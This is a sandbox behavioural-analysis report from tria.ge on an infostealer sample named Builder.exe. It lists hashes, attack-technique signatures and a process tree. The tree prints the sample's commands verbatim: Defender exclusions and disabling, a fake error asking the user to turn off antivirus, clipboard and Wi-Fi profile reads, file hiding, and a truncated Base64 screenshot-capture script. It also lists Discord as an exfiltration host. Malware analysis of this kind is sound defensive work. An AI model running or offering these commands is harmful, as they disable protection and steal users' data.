Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
92s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2025, 18:16
Behavioral task
behavioral1
Sample
Builder.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Builder.exe
Resource
win10v2004-20241007-en
General
-
Target
Builder.exe
-
Size
7.3MB
-
MD5
a215edd9d9788492b561858e44184bca
-
SHA1
77d8816ecce79f525c118687149e2f3b68dcb984
-
SHA256
7fbbefdae9adf0f81808b9decf48c08ba4a47293e80cd4855c083ab1f392c184
-
SHA512
64dfdf28e74a95af3cef3ad89b45d656bb49fba705665aad7878a397f18ae1c1a7e1aca2df466e80179f130b5350f0ac1eea26affe940742c2c42b8930f035ff
-
SSDEEP
196608:uuWYS6uOshoKMuIkhVastRL5Di3uq1D7mW:IYShOshouIkPftRL54DRX
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4040 powershell.exe 1776 powershell.exe 656 powershell.exe 3260 powershell.exe -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts Builder.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 3536 cmd.exe 2800 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3088 rar.exe -
Loads dropped DLL 17 IoCs
pid Process 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe 3556 Builder.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 26 discord.com 25 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 12 ip-api.com 23 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 5 IoCs
pid Process 4028 tasklist.exe 1152 tasklist.exe 2708 tasklist.exe 396 tasklist.exe 532 tasklist.exe -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
pid Process 1660 cmd.exe -
resource yara_rule behavioral2/files/0x0008000000023c07-21.dat upx behavioral2/memory/3556-25-0x00007FFCD96B0000-0x00007FFCD9C99000-memory.dmp upx behavioral2/files/0x000e000000023bba-27.dat upx behavioral2/files/0x0008000000023c05-31.dat upx behavioral2/memory/3556-30-0x00007FFCEC1D0000-0x00007FFCEC1F3000-memory.dmp upx behavioral2/memory/3556-48-0x00007FFCF17A0000-0x00007FFCF17AF000-memory.dmp upx behavioral2/files/0x0008000000023bd3-47.dat upx behavioral2/files/0x0008000000023bd0-46.dat upx behavioral2/files/0x000e000000023bce-45.dat upx behavioral2/files/0x0009000000023bca-44.dat upx behavioral2/files/0x0009000000023bc9-43.dat upx behavioral2/files/0x0009000000023bc8-42.dat upx behavioral2/files/0x0008000000023bc3-41.dat upx behavioral2/files/0x000a000000023bb3-40.dat upx behavioral2/files/0x0008000000023c10-39.dat upx behavioral2/files/0x0008000000023c0f-38.dat upx behavioral2/files/0x0008000000023c0a-37.dat upx behavioral2/files/0x0008000000023c06-34.dat upx behavioral2/files/0x0008000000023bd6-33.dat upx behavioral2/memory/3556-54-0x00007FFCEC160000-0x00007FFCEC18D000-memory.dmp upx behavioral2/memory/3556-57-0x00007FFCEDB40000-0x00007FFCEDB59000-memory.dmp upx behavioral2/memory/3556-58-0x00007FFCE8E80000-0x00007FFCE8EA3000-memory.dmp upx behavioral2/memory/3556-60-0x00007FFCE8B10000-0x00007FFCE8C87000-memory.dmp upx behavioral2/memory/3556-62-0x00007FFCE8F30000-0x00007FFCE8F49000-memory.dmp upx behavioral2/memory/3556-64-0x00007FFCF02B0000-0x00007FFCF02BD000-memory.dmp upx behavioral2/memory/3556-67-0x00007FFCD96B0000-0x00007FFCD9C99000-memory.dmp upx behavioral2/memory/3556-68-0x00007FFCE8E40000-0x00007FFCE8E73000-memory.dmp upx behavioral2/memory/3556-71-0x00007FFCE87C0000-0x00007FFCE888D000-memory.dmp upx behavioral2/memory/3556-74-0x00007FFCE7F40000-0x00007FFCE8460000-memory.dmp upx behavioral2/memory/3556-73-0x00007FFCEC1D0000-0x00007FFCEC1F3000-memory.dmp upx behavioral2/memory/3556-77-0x00007FFCE8730000-0x00007FFCE8744000-memory.dmp upx behavioral2/memory/3556-81-0x00007FFCD92E0000-0x00007FFCD93FC000-memory.dmp upx behavioral2/memory/3556-79-0x00007FFCEC160000-0x00007FFCEC18D000-memory.dmp upx behavioral2/memory/3556-78-0x00007FFCE8E00000-0x00007FFCE8E0D000-memory.dmp upx behavioral2/memory/3556-82-0x00007FFCE8E80000-0x00007FFCE8EA3000-memory.dmp upx behavioral2/memory/3556-95-0x00007FFCE8B10000-0x00007FFCE8C87000-memory.dmp upx behavioral2/memory/3556-113-0x00007FFCE8F30000-0x00007FFCE8F49000-memory.dmp upx behavioral2/memory/3556-189-0x00007FFCE8E40000-0x00007FFCE8E73000-memory.dmp upx behavioral2/memory/3556-190-0x00007FFCE87C0000-0x00007FFCE888D000-memory.dmp upx behavioral2/memory/3556-249-0x00007FFCE7F40000-0x00007FFCE8460000-memory.dmp upx behavioral2/memory/3556-292-0x00007FFCE8B10000-0x00007FFCE8C87000-memory.dmp upx behavioral2/memory/3556-287-0x00007FFCEC1D0000-0x00007FFCEC1F3000-memory.dmp upx behavioral2/memory/3556-286-0x00007FFCD96B0000-0x00007FFCD9C99000-memory.dmp upx behavioral2/memory/3556-314-0x00007FFCE8E00000-0x00007FFCE8E0D000-memory.dmp upx behavioral2/memory/3556-325-0x00007FFCE87C0000-0x00007FFCE888D000-memory.dmp upx behavioral2/memory/3556-324-0x00007FFCE8E40000-0x00007FFCE8E73000-memory.dmp upx behavioral2/memory/3556-323-0x00007FFCF02B0000-0x00007FFCF02BD000-memory.dmp upx behavioral2/memory/3556-322-0x00007FFCE8F30000-0x00007FFCE8F49000-memory.dmp upx behavioral2/memory/3556-321-0x00007FFCE7F40000-0x00007FFCE8460000-memory.dmp upx behavioral2/memory/3556-315-0x00007FFCD92E0000-0x00007FFCD93FC000-memory.dmp upx behavioral2/memory/3556-320-0x00007FFCEDB40000-0x00007FFCEDB59000-memory.dmp upx behavioral2/memory/3556-319-0x00007FFCEC160000-0x00007FFCEC18D000-memory.dmp upx behavioral2/memory/3556-318-0x00007FFCF17A0000-0x00007FFCF17AF000-memory.dmp upx behavioral2/memory/3556-317-0x00007FFCEC1D0000-0x00007FFCEC1F3000-memory.dmp upx behavioral2/memory/3556-316-0x00007FFCE8E80000-0x00007FFCE8EA3000-memory.dmp upx behavioral2/memory/3556-307-0x00007FFCE8B10000-0x00007FFCE8C87000-memory.dmp upx behavioral2/memory/3556-313-0x00007FFCE8730000-0x00007FFCE8744000-memory.dmp upx behavioral2/memory/3556-301-0x00007FFCD96B0000-0x00007FFCD9C99000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1160 cmd.exe 3716 PING.EXE -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 3060 cmd.exe 1260 netsh.exe -
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1500 WMIC.exe 4420 WMIC.exe 1828 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2260 systeminfo.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3716 PING.EXE -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 4040 powershell.exe 1776 powershell.exe 4040 powershell.exe 1776 powershell.exe 2800 powershell.exe 2800 powershell.exe 2572 powershell.exe 2572 powershell.exe 2800 powershell.exe 2572 powershell.exe 656 powershell.exe 656 powershell.exe 3364 powershell.exe 3364 powershell.exe 3260 powershell.exe 3260 powershell.exe 1568 powershell.exe 1568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4040 powershell.exe Token: SeIncreaseQuotaPrivilege 1068 WMIC.exe Token: SeSecurityPrivilege 1068 WMIC.exe Token: SeTakeOwnershipPrivilege 1068 WMIC.exe Token: SeLoadDriverPrivilege 1068 WMIC.exe Token: SeSystemProfilePrivilege 1068 WMIC.exe Token: SeSystemtimePrivilege 1068 WMIC.exe Token: SeProfSingleProcessPrivilege 1068 WMIC.exe Token: SeIncBasePriorityPrivilege 1068 WMIC.exe Token: SeCreatePagefilePrivilege 1068 WMIC.exe Token: SeBackupPrivilege 1068 WMIC.exe Token: SeRestorePrivilege 1068 WMIC.exe Token: SeShutdownPrivilege 1068 WMIC.exe Token: SeDebugPrivilege 1068 WMIC.exe Token: SeSystemEnvironmentPrivilege 1068 WMIC.exe Token: SeRemoteShutdownPrivilege 1068 WMIC.exe Token: SeUndockPrivilege 1068 WMIC.exe Token: SeManageVolumePrivilege 1068 WMIC.exe Token: 33 1068 WMIC.exe Token: 34 1068 WMIC.exe Token: 35 1068 WMIC.exe Token: 36 1068 WMIC.exe Token: SeDebugPrivilege 4028 tasklist.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeIncreaseQuotaPrivilege 1068 WMIC.exe Token: SeSecurityPrivilege 1068 WMIC.exe Token: SeTakeOwnershipPrivilege 1068 WMIC.exe Token: SeLoadDriverPrivilege 1068 WMIC.exe Token: SeSystemProfilePrivilege 1068 WMIC.exe Token: SeSystemtimePrivilege 1068 WMIC.exe Token: SeProfSingleProcessPrivilege 1068 WMIC.exe Token: SeIncBasePriorityPrivilege 1068 WMIC.exe Token: SeCreatePagefilePrivilege 1068 WMIC.exe Token: SeBackupPrivilege 1068 WMIC.exe Token: SeRestorePrivilege 1068 WMIC.exe Token: SeShutdownPrivilege 1068 WMIC.exe Token: SeDebugPrivilege 1068 WMIC.exe Token: SeSystemEnvironmentPrivilege 1068 WMIC.exe Token: SeRemoteShutdownPrivilege 1068 WMIC.exe Token: SeUndockPrivilege 1068 WMIC.exe Token: SeManageVolumePrivilege 1068 WMIC.exe Token: 33 1068 WMIC.exe Token: 34 1068 WMIC.exe Token: 35 1068 WMIC.exe Token: 36 1068 WMIC.exe Token: SeIncreaseQuotaPrivilege 1500 WMIC.exe Token: SeSecurityPrivilege 1500 WMIC.exe Token: SeTakeOwnershipPrivilege 1500 WMIC.exe Token: SeLoadDriverPrivilege 1500 WMIC.exe Token: SeSystemProfilePrivilege 1500 WMIC.exe Token: SeSystemtimePrivilege 1500 WMIC.exe Token: SeProfSingleProcessPrivilege 1500 WMIC.exe Token: SeIncBasePriorityPrivilege 1500 WMIC.exe Token: SeCreatePagefilePrivilege 1500 WMIC.exe Token: SeBackupPrivilege 1500 WMIC.exe Token: SeRestorePrivilege 1500 WMIC.exe Token: SeShutdownPrivilege 1500 WMIC.exe Token: SeDebugPrivilege 1500 WMIC.exe Token: SeSystemEnvironmentPrivilege 1500 WMIC.exe Token: SeRemoteShutdownPrivilege 1500 WMIC.exe Token: SeUndockPrivilege 1500 WMIC.exe Token: SeManageVolumePrivilege 1500 WMIC.exe Token: 33 1500 WMIC.exe Token: 34 1500 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2640 wrote to memory of 3556 2640 Builder.exe 82 PID 2640 wrote to memory of 3556 2640 Builder.exe 82 PID 3556 wrote to memory of 1496 3556 Builder.exe 83 PID 3556 wrote to memory of 1496 3556 Builder.exe 83 PID 3556 wrote to memory of 4312 3556 Builder.exe 84 PID 3556 wrote to memory of 4312 3556 Builder.exe 84 PID 3556 wrote to memory of 2060 3556 Builder.exe 85 PID 3556 wrote to memory of 2060 3556 Builder.exe 85 PID 3556 wrote to memory of 1488 3556 Builder.exe 89 PID 3556 wrote to memory of 1488 3556 Builder.exe 89 PID 3556 wrote to memory of 1108 3556 Builder.exe 91 PID 3556 wrote to memory of 1108 3556 Builder.exe 91 PID 1496 wrote to memory of 4040 1496 cmd.exe 93 PID 1496 wrote to memory of 4040 1496 cmd.exe 93 PID 1488 wrote to memory of 4028 1488 cmd.exe 94 PID 1488 wrote to memory of 4028 1488 cmd.exe 94 PID 1108 wrote to memory of 1068 1108 cmd.exe 95 PID 1108 wrote to memory of 1068 1108 cmd.exe 95 PID 2060 wrote to memory of 2872 2060 cmd.exe 96 PID 2060 wrote to memory of 2872 2060 cmd.exe 96 PID 4312 wrote to memory of 1776 4312 cmd.exe 97 PID 4312 wrote to memory of 1776 4312 cmd.exe 97 PID 3556 wrote to memory of 1672 3556 Builder.exe 146 PID 3556 wrote to memory of 1672 3556 Builder.exe 146 PID 1672 wrote to memory of 3632 1672 cmd.exe 101 PID 1672 wrote to memory of 3632 1672 cmd.exe 101 PID 3556 wrote to memory of 3492 3556 Builder.exe 102 PID 3556 wrote to memory of 3492 3556 Builder.exe 102 PID 3492 wrote to memory of 668 3492 cmd.exe 104 PID 3492 wrote to memory of 668 3492 cmd.exe 104 PID 3556 wrote to memory of 2936 3556 Builder.exe 105 PID 3556 wrote to memory of 2936 3556 Builder.exe 105 PID 2936 wrote to memory of 1500 2936 cmd.exe 107 PID 2936 wrote to memory of 1500 2936 cmd.exe 107 PID 3556 wrote to memory of 4972 3556 Builder.exe 108 PID 3556 wrote to memory of 4972 3556 Builder.exe 108 PID 4972 wrote to memory of 4420 4972 cmd.exe 174 PID 4972 wrote to memory of 4420 4972 cmd.exe 174 PID 3556 wrote to memory of 1660 3556 Builder.exe 154 PID 3556 wrote to memory of 1660 3556 Builder.exe 154 PID 1660 wrote to memory of 2092 1660 cmd.exe 113 PID 1660 wrote to memory of 2092 1660 cmd.exe 113 PID 3556 wrote to memory of 1236 3556 Builder.exe 114 PID 3556 wrote to memory of 1236 3556 Builder.exe 114 PID 3556 wrote to memory of 1568 3556 Builder.exe 115 PID 3556 wrote to memory of 1568 3556 Builder.exe 115 PID 1236 wrote to memory of 1152 1236 cmd.exe 118 PID 1236 wrote to memory of 1152 1236 cmd.exe 118 PID 1568 wrote to memory of 2708 1568 cmd.exe 119 PID 1568 wrote to memory of 2708 1568 cmd.exe 119 PID 3556 wrote to memory of 3232 3556 Builder.exe 120 PID 3556 wrote to memory of 3232 3556 Builder.exe 120 PID 3556 wrote to memory of 3536 3556 Builder.exe 121 PID 3556 wrote to memory of 3536 3556 Builder.exe 121 PID 3556 wrote to memory of 3660 3556 Builder.exe 122 PID 3556 wrote to memory of 3660 3556 Builder.exe 122 PID 3556 wrote to memory of 4640 3556 Builder.exe 125 PID 3556 wrote to memory of 4640 3556 Builder.exe 125 PID 3556 wrote to memory of 3060 3556 Builder.exe 128 PID 3556 wrote to memory of 3060 3556 Builder.exe 128 PID 3556 wrote to memory of 4968 3556 Builder.exe 130 PID 3556 wrote to memory of 4968 3556 Builder.exe 130 PID 3556 wrote to memory of 4980 3556 Builder.exe 131 PID 3556 wrote to memory of 4980 3556 Builder.exe 131 -
Views/modifies file attributes 1 TTPs 3 IoCs
pid Process 2092 attrib.exe 392 attrib.exe 1660 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Builder.exe"C:\Users\Admin\AppData\Local\Temp\Builder.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Users\Admin\AppData\Local\Temp\Builder.exe"C:\Users\Admin\AppData\Local\Temp\Builder.exe"2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Builder.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Builder.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4040
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:4312 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Failed to open Builder.exe! Please turn off your Anti-Virus. If you think this is a mistake please contact DexterWasHere#2952 on Discord', 0, 'Error02', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Failed to open Builder.exe! Please turn off your Anti-Virus. If you think this is a mistake please contact DexterWasHere#2952 on Discord', 0, 'Error02', 0+16);close()"4⤵PID:2872
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1068
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"3⤵
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 24⤵PID:3632
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"3⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 24⤵PID:668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Suspicious use of WriteProcessMemory
PID:4972 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Detects videocard installed
PID:4420
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Builder.exe""3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Builder.exe"4⤵
- Views/modifies file attributes
PID:2092
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:1152
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:2708
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵PID:3232
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵PID:1656
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
PID:3536 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
PID:2800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵PID:3660
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
PID:396
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵PID:4640
-
C:\Windows\system32\tree.comtree /A /F4⤵PID:1704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3060 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:1260
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵PID:4968
-
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:2260
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"3⤵PID:4980
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath4⤵PID:4312
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHc